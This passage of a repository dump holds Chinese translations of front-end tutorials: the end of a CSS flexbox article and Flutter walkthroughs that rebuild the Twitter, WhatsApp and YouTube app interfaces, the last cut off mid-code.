</div>\n</div>\n```\n\nCSS:\n\n```css\nbody {\n  padding: 20px;\n  font: 1em Helvetica Neue, Helvetica, Arial, sans-serif;\n}\n\n* {box-sizing: border-box;}\n\np {\n  margin: 0 0 1em 0;\n}\n\n.container {  \n  border: 5px solid rgb(111,41,97);\n  border-radius: .5em;\n  padding: 10px;\n  display: flex;\n  width: 400px;\n}\n\n.item {\n  padding: 10px;\n  background-color: rgba(111,41,97,.3);\n  border: 2px solid rgba(111,41,97,.5);\n}\n```\n请看 Rachel Andrew（[@rachelandrew](https://codepen.io/rachelandrew)）在 [CodePen](https://codepen.io) 上的这个例子：[Smashing Flexbox Series 1: initial values of flex items](https://codepen.io/rachelandrew/pen/JBLWJo)。\n\n上面这个例子就是弹性布局灵活性的体现。在 `flex-basis` 属性的默认值是 `auto`，并且子项目（flex item）没有设置尺寸的情况下，它就会有一个 `max-content` 的基础尺寸。这就是它根据内容自动延伸之后没有经过任何其他包装的尺寸。然后，子项目按照比例来占据剩余空间，详见以下 [flexbox 规范](https://www.w3.org/TR/css-flexbox-1/#flex-flex-shrink-factor)中的说明。\n\n> 『注意：分配收缩空间时，是根据基本尺寸乘以弹性收缩系数（flex shrink factor）。收缩空间的大小与子项目设置的 `flex-shrink` 的大小成比例。比如说有一个较小的子项目，在其他较大的子项目明显收缩之前，是不会被收缩到没有空间的。』\n\n也就是说较大的子项目收缩的空间更多，那么现在我们得到了最终的布局结果。你可以比较一下下面两个截图，都是使用上面的例子，不同的是在第一个截图中，第三个盒子内容较少占据的空间较小，因此相对的每一列的占据的空间更均匀一些。\n\n[![这是较大的子项目占据更多空间的例子](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f7dfeea5-845f-406a-81fe-f1da8612ce93/shrinking-auto.png)](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f7dfeea5-845f-406a-81fe-f1da8612ce93/shrinking-auto.png)\n\n其他项为了给较大的一项提供空间而自动收缩（[Large preview](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/f7dfeea5-845f-406a-81fe-f1da8612ce93/shrinking-auto.png)）。\n\n弹性布局会试图帮助我们获得一个合理的最终显示结果，而不需要写 CSS 的人来定义。它不会平均的减少每行的宽度，从而形成一个每行只有几个单词的很高的子项目，而是会给该子项目分配更多的空间用以展示其内容。这种表现正是如何正确弹性布局的关键。它最适用于用于沿着一条轴线排列的元素，以一种灵活和感知内容的方式。这里我简单介绍了一点细节，但在接下来的系列文章中我们会更加深入的了解这些算法。\n\n### 总结\n\n在这篇文章中，我用弹性布局的属性的一些默认值来介绍当你设置 `display: flex` 的时候，究竟发生了什么。令人惊讶的是，当你逐步分解之后，发现它原来有这么多内容，并且这些内容就包含了弹性布局的核心特点。\n\n弹性布局是非常灵活的：它会根据你的内容自动地做出不错的选择 —— 通过收缩和拉伸达到最好的展示效果。弹性布局还能感知书写模式：布局中行和列的方向跟书写模式有关。弹性布局通过分配空间，允许子项目在主轴（main axis）上以整体的方式来对齐。它还允许子项目按照交叉轴来对齐，使得交叉轴上的项目相互关联。更重要的是，弹性布局知道你的内容有多大，并且尽量采用更好的方式来展示你的内容。在接下来的文章中，我们会更加深入的探索，思考我们什么时候以及为什么要用弹性布局。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-challenge-twitter.md",
    "content": "> * 原文地址：[Flutter Challenge: Twitter](https://itnext.io/flutter-challenge-twitter-a1cb17f1e21b)\n> * 原文作者：[Deven Joshi](https://itnext.io/@dev.n?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-challenge-twitter.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-challenge-twitter.md)\n> * 译者：[MeFelixWang](https://github.com/MeFelixWang)\n\n# 挑战 Flutter 之 Twitter\n\n![](https://cdn-images-1.medium.com/max/1600/1*d741kjfzNQv6W_d5wd37HA.png)\n\n挑战 Flutter 将尝试在 Flutter 中重新创建特定应用的 UI 或设计。\n\n此挑战将尝试实现安卓版 Twitter 的主页。请注意，重点将放在 UI 上，而不是实际从后端服务器获取数据。\n\n#### 了解应用结构\n\n![](https://cdn-images-1.medium.com/max/1600/1*mc1ca10Ra86E1J6EEQmVZg.jpeg)\n\n Twitter 有四个由底部导航栏控制的主要页面。\n\n它们是：\n\n1.  主页（展示订阅的推文）\n2.  搜索页（搜索人员，组织等）\n3.  通知页（通知和提及）\n4.  消息页（私人消息）\n\n BottomNavigationBar 有四个选项卡可以跳转到每个页面。\n\n在我们的应用中将有四个不同的页面，只需点击 BottomNavigationBar 上的项目来切换页面。\n\n#### 建立项目\n\n创建好 Flutter 项目（我将其命名为 twitter_ui_demo ）后，清除项目中的默认代码，只留下这些：\n\n```\nimport 'package:flutter/material.dart';\n\nvoid main() => runApp(new MyApp());\n\nclass MyApp extends StatelessWidget {\n  //这是应用的根组件\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      title: 'Flutter Demo',\n      theme: new ThemeData(\n        primarySwatch: Colors.blue,\n      ),\n      home: new MyHomePage(),\n    );\n  }\n}\n\nclass MyHomePage extends StatefulWidget {\n\n  @override\n  _MyHomePageState createState() => new _MyHomePageState();\n}\n\nclass _MyHomePageState extends State<MyHomePage> {\n\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n      body: new Center(\n      ),\n    );\n  }\n}\n```\n\n HomePage 中有一个 Scaffold ，它存有我们的 BottomNavigationBar 以及当前激活的页面。\n\n#### 开始\n\n因为底部导航栏是用于导航的主要组件，所以我们先试着实现它。\n\n这是 BottomNavigationBar 的样子：\n\n![](https://cdn-images-1.medium.com/max/1600/1*ROeASZyzAcmgMH2Y4jLV3g.jpeg)\n\n因为没有应用中所需的图标，所以我们将使用 [Font Flutter Awesome package](https://pub.dartlang.org/packages/font_awesome_flutter) 。在 pubspec.yaml 中添加依赖项并引入\n\n```\nimport 'package:font_awesome_flutter/font_awesome_flutter.dart';\n```\n\n到文件中。\n\n BottomNavigationBar 的代码如下：\n\n```\nbottomNavigationBar: BottomNavigationBar(items: [\n  BottomNavigationBarItem(\n    title: Text(\"\"),\n    icon: Icon(FontAwesomeIcons.home, color: selectedPageIndex == 0? Colors.blue : Colors.blueGrey,),\n  ),\n  BottomNavigationBarItem(\n    title: Text(\"\"),\n    icon: Icon(FontAwesomeIcons.search, color: selectedPageIndex == 1? Colors.blue : Colors.blueGrey,),\n  ),\n  BottomNavigationBarItem(\n      title: Text(\"\"),\n      icon: Icon(FontAwesomeIcons.bell, color: selectedPageIndex == 2? Colors.blue : Colors.blueGrey,)\n  ),\n  BottomNavigationBarItem(\n      title: Text(\"\"),\n      icon: Icon(FontAwesomeIcons.envelope, color: selectedPageIndex == 3? Colors.blue : Colors.blueGrey,),\n  ),\n], onTap: (index) {\n  setState(() {\n    selectedPageIndex = index;\n  });\n}, currentIndex: selectedPageIndex)\n```\n\n将其添加到 HomePage。\n\n请注意，当设置图标的颜色时，我们会检查是否选中了图标，然后指定颜色。在 Twitter 中，选中的图标为蓝色，让我们将未选择的图标设置为 blueGrey。\n\n定义一个名为 selectedPageIndex 的整型变量，用于存储所选页面的索引。在 onTap 函数中，我们将变量设置为新索引。用 setState() 包裹起来，因为我们需要刷新页面来重新渲染 AppBar。\n\n实现的底部导航栏：\n\n![](https://cdn-images-1.medium.com/max/1600/1*Bx-LXAq4g0_SDJB53U0xMg.png)\n\n#### 构建页面\n\n让我们构建四个基本页面，这些页面将在单击相应的图标时显示。\n\n建立的四个页面（在不同的文件中）如下：\n\n用户订阅（主页）页面的代码如下：\n\n```\nimport 'package:flutter/material.dart';\n\nclass UserFeedPage extends StatefulWidget {\n  @override\n  _UserFeedPageState createState() => _UserFeedPageState();\n}\n\nclass _UserFeedPageState extends State<UserFeedPage> {\n  @override\n  Widget build(BuildContext context) {\n    return Container();\n  }\n}\n```\n\n类似的，我们建立好搜索，通知和消息页面。\n\n回到基础页面中，引入这些页面并定义成一个列表。\n\n```\nvar pages = [\n  UserFeedPage(),\n  SearchPage(),\n  NotificationPage(),\n  MessagesPage(),\n];\n```\n\n在 Scaffold 中，写入\n\n```\nbody: pages[selectedPageIndex],\n```\n\n它将设置 body 来展示这些页面。\n\n到目前为止，MyHomePage 基础组件的代码如下：\n\n```\nclass _MyHomePageState extends State<MyHomePage> {\n\n  var selectedPageIndex = 0;\n\n  var pages = [\n    UserFeedPage(),\n    SearchPage(),\n    NotificationPage(),\n    MessagesPage(),\n  ];\n\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n      body: pages[selectedPageIndex],\n      bottomNavigationBar: BottomNavigationBar(items: [\n        BottomNavigationBarItem(\n          title: Text(\"\"),\n          icon: Icon(FontAwesomeIcons.home, color: selectedPageIndex == 0? Colors.blue : Colors.blueGrey,),\n        ),\n        BottomNavigationBarItem(\n          title: Text(\"\"),\n          icon: Icon(FontAwesomeIcons.search, color: selectedPageIndex == 1? Colors.blue : Colors.blueGrey,),\n        ),\n        BottomNavigationBarItem(\n            title: Text(\"\"),\n            icon: Icon(FontAwesomeIcons.bell, color: selectedPageIndex == 2? Colors.blue : Colors.blueGrey,)\n        ),\n        BottomNavigationBarItem(\n          title: Text(\"\"),\n            icon: Icon(FontAwesomeIcons.envelope, color: selectedPageIndex == 3? Colors.blue : Colors.blueGrey,),\n        ),\n      ], onTap: (index) {\n        setState(() {\n          selectedPageIndex = index;\n        });\n      }, currentIndex: selectedPageIndex,),\n    );\n  }\n}\n```\n\n现在，我们将重新创建页面。\n\n#### 创建用户订阅页\n\n![](https://cdn-images-1.medium.com/max/1600/1*mc1ca10Ra86E1J6EEQmVZg.jpeg)\n\n页面中有两个元素： AppBar 和推文列表。\n\n首先制作 AppBar。它有一张用户个人资料图片和一个白底黑字的标题。\n\n```\nappBar: AppBar(\n  backgroundColor: Colors.white,\n  title: Text(\"Home\", style: TextStyle(color: Colors.black),),\n  leading: Icon(Icons.account_circle, color: Colors.grey, size: 35.0,),\n),\n```\n\n我们将使用图标而不是个人资料图片。\n\n![](https://cdn-images-1.medium.com/max/1600/1*mbPj5DfJmNBdTRoFz_2qZw.png)\n\n重新创建的 AppBar\n\n现在，我们需要创建推文列表。为此，我们使用 ListView.builder()。\n\n来看看列表项。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Dg5b1_8TBgd71HHUGbaAqA.jpeg)\n\n首先，我们需要一个由 row 和 divider 组成的 column。\n\n在 row 中，有一个 icon 和另一个 column。\n\n该 column 中有一个用于展示推文信息的 row，一个用于展示推文本身的 text，一个 image 和另一个用于对推文应用操作（如评论等）的 row。\n\n为简洁起见，我们暂时抛开 image，实际上和在 row 中添加 image 一样简单。\n\n```\nreturn Column(\n  children: <Widget>[\n    Padding(\n      padding: const EdgeInsets.all(4.0),\n      child: Row(\n        crossAxisAlignment: CrossAxisAlignment.start,\n        children: <Widget>[\n          Padding(\n            padding: const EdgeInsets.all(8.0),\n            child: Icon(Icons.account_circle, size: 60.0, color: Colors.grey,),\n          ),\n          Expanded(\n            child: Column(\n              mainAxisAlignment: MainAxisAlignment.start,\n              children: <Widget>[\n                Padding(\n                  padding: const EdgeInsets.only(top: 4.0),\n                  child: Row(\n                    mainAxisAlignment: MainAxisAlignment.spaceBetween,\n                    children: <Widget>[\n                      Expanded(\n                        child: Container(child: RichText(\n                          text: TextSpan(\n                            children: [\n                              TextSpan(text:tweet.username, style: TextStyle(fontWeight: FontWeight.w600, fontSize: 18.0, color: Colors.black),),\n                              TextSpan(text:\" \" + tweet.twitterHandle,style: TextStyle(fontSize: 16.0, color: Colors.grey)),\n                              TextSpan(text:\" ${tweet.time}\",style: TextStyle(fontSize: 16.0, color: Colors.grey))\n                            ]\n                          ),overflow: TextOverflow.ellipsis,\n                        )),flex: 5,\n                      ),\n                      Expanded(\n                        child: Padding(\n                          padding: const EdgeInsets.only(right: 4.0),\n                          child: Icon(Icons.expand_more, color: Colors.grey,),\n                        ),flex: 1,\n                      ),\n                    ],\n                  ),\n                ),\n                Padding(\n                  padding: const EdgeInsets.symmetric(vertical: 4.0),\n                  child: Text(tweet.tweet, style: TextStyle(fontSize: 18.0),),\n                ),\n                Padding(\n                  padding: const EdgeInsets.all(8.0),\n                  child: Row(\n                    mainAxisAlignment: MainAxisAlignment.spaceEvenly,\n                    children: <Widget>[\n                      Icon(FontAwesomeIcons.comment, color: Colors.grey,),\n                      Icon(FontAwesomeIcons.retweet, color: Colors.grey,),\n                      Icon(FontAwesomeIcons.heart, color: Colors.grey,),\n                      Icon(FontAwesomeIcons.shareAlt, color: Colors.grey,),\n                    ],\n                  ),\n                )\n              ],\n            ),\n          )\n        ],\n      ),\n    ),\n    Divider(),\n  ],\n);\n```\n\n在创建一个用于提供简单推文的帮助类和一个简单的 FloatingActionButton 后，页面如下：\n\n![](https://cdn-images-1.medium.com/max/1600/1*DF1_9kc9NGzT9pd4CtyDjw.png)\n\n重新创建的 Twitter 应用\n\n这是重新构建的 Twitter 用户订阅页。在 Flutter 中可以快速轻松地重新创建任何 UI，这说明了它的开发速度和可定制性非常不错。两者是很难兼顾的。\n\n完整的示例托管在 Github 上。\n\nGithub 链接：[https://github.com/deven98/TwitterFlutter](https://github.com/deven98/TwitterFlutter)\n\n感谢阅读此 Flutter 挑战。可以留言告诉我任何你想要在 Flutter 中重新创建的应用。喜欢请给个 star，下次见。\n\n不要错过：\n\n[The Medium App in Flutter](https://blog.usejournal.com/flutter-challenge-the-medium-app-5f64a0f3c764)\n\n[WhatsApp in Flutter](https://medium.com/@dev.n/flutter-challenge-whatsapp-b4dcca52217b)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-challenge-whatsapp.md",
    "content": "> * 原文地址：[Flutter Challenge: WhatsApp](https://medium.com/@dev.n/flutter-challenge-whatsapp-b4dcca52217b)\n> * 原文作者：[Deven Joshi](https://medium.com/@dev.n?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-challenge-whatsapp.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-challenge-whatsapp.md)\n> * 译者： [YueYong](https://github.com/YueYongDev)\n> * 校对者：[HCMY](https://github.com/HCMY)\n\n# 挑战 Flutter 之 WhatsApp\n\n![](https://cdn-images-1.medium.com/max/1600/1*5n_vLiGTQ-RTWW-hdIT6XQ.jpeg)\n\nFlutter Challenges 是一项尝试利用 Flutter 重新创建特定的应用程序UI或设计的挑战。\n\n此次挑战将尝试 Whatsapp Android 应用程序的主界面。请注意将重点放在 UI 上而不是实际获取消息。\n\n#### 开始\n\nWhatsApp 的主界面包括：\n\n1.  一个带有搜索操作和菜单的 AppBar\n2.  在 AppBar 的底部有四个标签\n3.  一个用于拍照的相机标签\n4.  一个用于多种用途的 FloatingActionButton\n5.  一个“聊天”标签可查看所有对话\n6.  一个“状态”选项卡可查看所有状态\n7.  一个“打电话”选项卡可查看所有的通话记录\n\n#### 项目设置\n\n让我们创建一个名为 whatsapp_ui 的 Flutter 项目并删除所有默认代码，只留下一个带有默认应用栏的空白屏幕。\n\n```\nimport 'package:flutter/material.dart';\n\nvoid main() => runApp(new MyApp());\n\nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      title: 'Flutter Demo',\n      theme: new ThemeData(\n        primarySwatch: Colors.blue,\n      ),\n      home: new MyHomePage(),\n    );\n  }\n}\n\nclass MyHomePage extends StatefulWidget {\n\n  @override\n  _MyHomePageState createState() => new _MyHomePageState();\n}\n\nclass _MyHomePageState extends State<MyHomePage> {\n\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n      appBar: new AppBar(\n        title: new Text(\"WhatsApp\"),\n      ),\n      body: new Center(\n        child: new Column(\n          mainAxisAlignment: MainAxisAlignment.center,\n          children: <Widget>[\n            \n          ],\n        ),\n      ),\n    );\n  }\n}\n```\n\n#### The AppBar\n\nAppBar 具有应用程序的标题，以及两个操作：搜索和菜单。\n\n将其添加到 AppBar 中，\n\n```\nappBar: new AppBar(\n  title: new Text(\"WhatsApp\", style: TextStyle(color: Colors.white, fontSize: 22.0, fontWeight: FontWeight.w600),),\n  actions: <Widget>[\n    Padding(\n      padding: const EdgeInsets.only(right: 20.0),\n      child: Icon(Icons.search),\n    ),\n    Padding(\n      padding: const EdgeInsets.only(right: 16.0),\n      child: Icon(Icons.more_vert),\n    ),\n  ],\n  backgroundColor: whatsAppGreen,\n),\n```\n\n代码结果如下：\n\n![](https://cdn-images-1.medium.com/max/1600/1*4fwyAwhd3o7shdeZ1GAIaQ.png)\n\n现在继续\n\n#### The Tabs\n\ntabs（选项卡）是 AppBar 的简单扩展，Flutter 使它们非常容易实现。\n\nAppBar 有一个“底部”字段，用于保存我们的标签：\n\n```\nbottom: TabBar(\n  tabs: [\n    Tab(icon: Icon(Icons.camera_alt),),\n    Tab(child: Text(\"CHATS\"),),\n    Tab(child: Text(\"STATUS\",)),\n    Tab(child: Text(\"CALLS\",)),\n  ], indicatorColor: Colors.white,\n),\n```\n\n此外，我们需要一个 TabController 来实现这一点。\n\n创建一个新的 TabController。\n\n```\nTabController tabController;\n\n@override\nvoid initState() {\n  // TODO: implement initState\n  super.initState();\n\n  tabController = TabController(vsync: this, length: 4);\n\n}\n```\n\n现在将该控制器添加到 TabBar 的 “controller” 字段中。\n\n```\nbottom: TabBar(\n  tabs: [\n    Tab(icon: Icon(Icons.camera_alt),),\n    Tab(child: Text(\"CHATS\"),),\n    Tab(child: Text(\"STATUS\",)),\n    Tab(child: Text(\"CALLS\",)),\n  ], indicatorColor: Colors.white,\n  controller: tabController,\n),\n```\n\n而对于 TabBarView\n\n```\nbody: TabBarView(\n  controller: tabController,\n  children: [\n    Icon(Icons.camera_alt),\n    Text(\"Chat Screen\"),\n    Text(\"Status Screen\"),\n    Text(\"Call Screen\"),\n  ],\n),\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*Cr01YXR6o8fN2XXKPpHaHQ.png)\n\n现在，在转到各个页面之前，我们将添加选项卡所代表的页面。用以下方法切换脚手架的现有“正文”代码：\n\n```\nbody: TabBarView(\n  children: [\n    Icon(Icons.camera_alt),\n    Text(\"Chat Screen\"),\n    Text(\"Status Screen\"),\n    Text(\"Call Screen\"),\n  ],\n),\n```\n\n子项代表选项卡所用的页面。现在整个页面都是一个 Text 小部件。\n\n#### 悬浮按钮\n\nFloating Action Button 根据屏幕上的页面而变化。\n\n首先在脚手架中添加一个 FloatingActionButton。\n\n```\nfloatingActionButton: FloatingActionButton(\n  onPressed: () {\n  },\n  child: fabIcon,\n  backgroundColor: whatsAppGreenLight,\n),\n```\n\n“fabIcon” 字段只存储要显示的图标，因为我们需要根据显示的屏幕更改显示的图标。\n\n要监听选项卡选定的更改，需要给 TabController 添加一个监听器。\n\n```\ntabController = TabController(vsync: this, length: 4)\n  ..addListener(() {\n    \n  });\n```\n\n现在，当标签控制器实现页面已更改时，请更改 FAB 图标。\n\n```\ntabController = TabController(vsync: this, length: 4)\n  ..addListener(() {\n    setState(() {\n      switch(tabController.index) {\n        case 0:\n          break;\n        case 1:\n          fabIcon = Icons.message;\n          break;\n        case 2:\n          fabIcon = Icons.camera_enhance;\n          break;\n        case 3:\n          fabIcon = Icons.call;\n          break;\n      }\n    });\n  });\n```\n\n![](https://cdn-images-1.medium.com/max/1600/1*OI_nzQqPKrnsboh_IP9W6g.png)\n\n继续，\n\n#### 聊天界面\n\n聊天屏幕有一个我们需要显示的消息列表。要创建消息列表，我们使用 ListView.builder() 并构造我们的项目。\n\n让我们来看看聊天界面的列表项。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Qgf5MHYD-NOXpNx8I0oxIw.png)\n\n最外面的小部件是一行图标和另一行\n\n第二行内部是一列，包含一行和一个文本小部件。\n\n该行具有标题和消息日期。\n\n让我们构建一个聊天项模型作为用于存储列表项详细信息的类。\n\n```\nclass ChatItemModel {\n  \n  String name;\n  String mostRecentMessage;\n  String messageDate;\n  \n  ChatItemModel(this.name, this.mostRecentMessage, this.messageDate);\n  \n}\n```\n\n现在，为简洁起见，我省略了添加个人资料图片。\n\n```\nitemBuilder: (context, position) {\n  ChatItemModel chatItem = ChatHelper.getChatItem(position);\n\n  return Column(\n    children: <Widget>[\n      Padding(\n        padding: const EdgeInsets.all(8.0),\n        child: Row(\n          children: <Widget>[\n            Icon(\n              Icons.account_circle,\n              size: 64.0,\n            ),\n            Expanded(\n              child: Padding(\n                padding: const EdgeInsets.all(8.0),\n                child: Column(\n                  crossAxisAlignment: CrossAxisAlignment.start,\n                  children: <Widget>[\n                    Row(\n                      mainAxisAlignment:\n                          MainAxisAlignment.spaceBetween,\n                      children: <Widget>[\n                        Text(\n                          chatItem.name,\n                          style: TextStyle(\n                              fontWeight: FontWeight.w500,\n                              fontSize: 20.0),\n                        ),\n                        Text(\n                          chatItem.messageDate,\n                          style: TextStyle(color: Colors.black45),\n                        ),\n                      ],\n                    ),\n                    Padding(\n                      padding: const EdgeInsets.only(top: 2.0),\n                      child: Text(\n                        chatItem.mostRecentMessage,\n                        style: TextStyle(\n                            color: Colors.black45, fontSize: 16.0),\n                      ),\n                    )\n                  ],\n                ),\n              ),\n            )\n          ],\n        ),\n      ),\n      Divider(),\n    ],\n  );\n},\n```\n\n创建第一个列表后，结果如下：\n\n![](https://cdn-images-1.medium.com/max/1600/1*WZq07uhmt7L-NYemQaRSRA.png)\n\n我们可以类似地在其他屏幕上的屏幕上创建其他选项卡。完整的示例托管在GitHub上。\n\nGitHub 链接 : [https://github.com/deven98/WhatsappFlutter](https://github.com/deven98/WhatsappFlutter)\n\n感谢您阅读此 Flutter 挑战。随意提及您可能想要在 Flutter 中重新创建的任何应用程序。如果你喜欢它，一定要留下掌声，再见。\n\n不要忘了：[The Medium App in Flutter](https://blog.usejournal.com/flutter-challenge-the-medium-app-5f64a0f3c764)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/flutter-challenge-youtube.md",
    "content": "> * 原文地址：[Flutter Challenge: YouTube (Picture-In-Picture)](https://proandroiddev.com/flutter-challenge-youtube-ec5ff36eca9b)\n> * 原文作者：[Deven Joshi](https://proandroiddev.com/@dev.n?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-challenge-youtube.md](https://github.com/xitu/gold-miner/blob/master/TODO1/flutter-challenge-youtube.md)\n> * 译者：[MeFelixWang](https://github.com/MeFelixWang)\n\n# 挑战Flutter之YouTube（画中画）\n\n![](https://cdn-images-1.medium.com/max/1600/1*_sC2115-tUgSig4Urh1jvQ.jpeg)\n\n挑战 Flutter 尝试在 Flutter 中重新创建特定应用的 UI 或设计。\n\n此挑战将尝试实现 YouTube 的主页和视频详情页（视频实际播放的页面），包括动画。\n\n这个挑战将比我以前的挑战稍微复杂一些，但结果却更好。\n\n#### 开始\n\n YouTube 应用包括：\n\na）主页包括：\n\n1.   AppBar 中有三个 action\n2.  用户订阅视频\n3.  底部导航栏\n\nb）视频详情页包括：\n\n1.  可缩小的主播放器，能让用户查看他们的订阅信息（PIP）\n2.  基于当前视频的用户推荐\n\n#### 建立项目\n\n让我们创建一个名为 youtube_flutter 的 Flutter 项目，并删除所有默认代码，只留下一个带有默认 appBar 的空白页面。\n\n```\nimport 'package:flutter/material.dart';\n\nvoid main() => runApp(new MyApp());\n\nclass MyApp extends StatelessWidget {\n  @override\n  Widget build(BuildContext context) {\n    return new MaterialApp(\n      title: 'Flutter Demo',\n      theme: new ThemeData(\n        primarySwatch: Colors.blue,\n      ),\n      home: new MyHomePage(),\n    );\n  }\n}\n\nclass MyHomePage extends StatefulWidget {\n\n  @override\n  _MyHomePageState createState() => new _MyHomePageState();\n}\n\nclass _MyHomePageState extends State<MyHomePage> {\n\n  @override\n  Widget build(BuildContext context) {\n    return new Scaffold(\n      appBar: new AppBar(\n        title: new Text(\"\"),\n      ),\n      body: new Center(\n        child: new Column(\n          mainAxisAlignment: MainAxisAlignment.center,\n          children: <Widget>[\n          ],\n        ),\n      ),\n    );\n  }\n}\n```\n\n#### 制作 AppBar\n\n AppBar 左侧有 YouTube 的 logo 和名称，右侧有三个 action ，即记录、搜索和打开配置文件。\n\n重新创建AppBar：\n\n```\nappBar: new AppBar(\n  backgroundColor: Colors.white,\n  title: Row(\n    mainAxisSize: MainAxisSize.min,\n    children: <Widget>[\n      Icon(FontAwesomeIcons.youtube, color: Colors.red,),\n      Padding(\n        padding: const EdgeInsets.only(left: 8.0),\n        child: Text(\"YouTube\", style: TextStyle(color: Colors.black, letterSpacing: -1.0, fontWeight: FontWeight.w700),),\n      ),\n    ],\n  ),\n  actions: <Widget>[\n    Padding(\n      padding: const EdgeInsets.symmetric(horizontal: 12.0),\n      child: Icon(Icons.videocam, color: Colors.black54,),\n    ),\n    Padding(\n      padding: const EdgeInsets.symmetric(horizontal: 12.0),\n      child: Icon(Icons.search, color: Colors.black54,),\n    ),\n    Padding(\n      padding: const EdgeInsets.symmetric(horizontal: 12.0),\n      child: Icon(Icons.account_circle, color: Colors.black54,),\n    ),\n  ],\n),\n```\n\n这就是重新创建的 AppBar 的样子：\n\n![](https://cdn-images-1.medium.com/max/1600/1*xYqSCYNVC9zPB54z51NRxA.png)\n\n注意：对于 YouTube 的 logo，我使用了 [Dart pub](https://pub.dartlang.org/packages/font_awesome_flutter#-readme-tab-) FontFlutterAwesome 图标。\n\n接着制作底部导航栏，\n\n#### 创建 BottomNavigationBar \n\n底部导航栏有5项，在 Flutter 中重新创建非常简单。我们使用 Scaffold 的 bottomNavigationBar 参数。\n\n```\nbottomNavigationBar: BottomNavigationBar(items: [\n  BottomNavigationBarItem(icon: Icon(Icons.home, color: Colors.black54,), title: Text(\"Home\", style: TextStyle(color: Colors.black54),),),\n  BottomNavigationBarItem(icon: Icon(FontAwesomeIcons.fire, color: Colors.black54,), title: Text(\"Home\", style: TextStyle(color: Colors.black54),),),\n  BottomNavigationBarItem(icon: Icon(Icons.subscriptions, color: Colors.black54,), title: Text(\"Home\", style: TextStyle(color: Colors.black54),),),\n  BottomNavigationBarItem(icon: Icon(Icons.email, color: Colors.black54,), title: Text(\"Home\", style: TextStyle(color: Colors.black54),),),\n  BottomNavigationBarItem(icon: Icon(Icons.folder, color: Colors.black54,), title: Text(\"Home\", style: TextStyle(color: Colors.black54),),),\n], type: 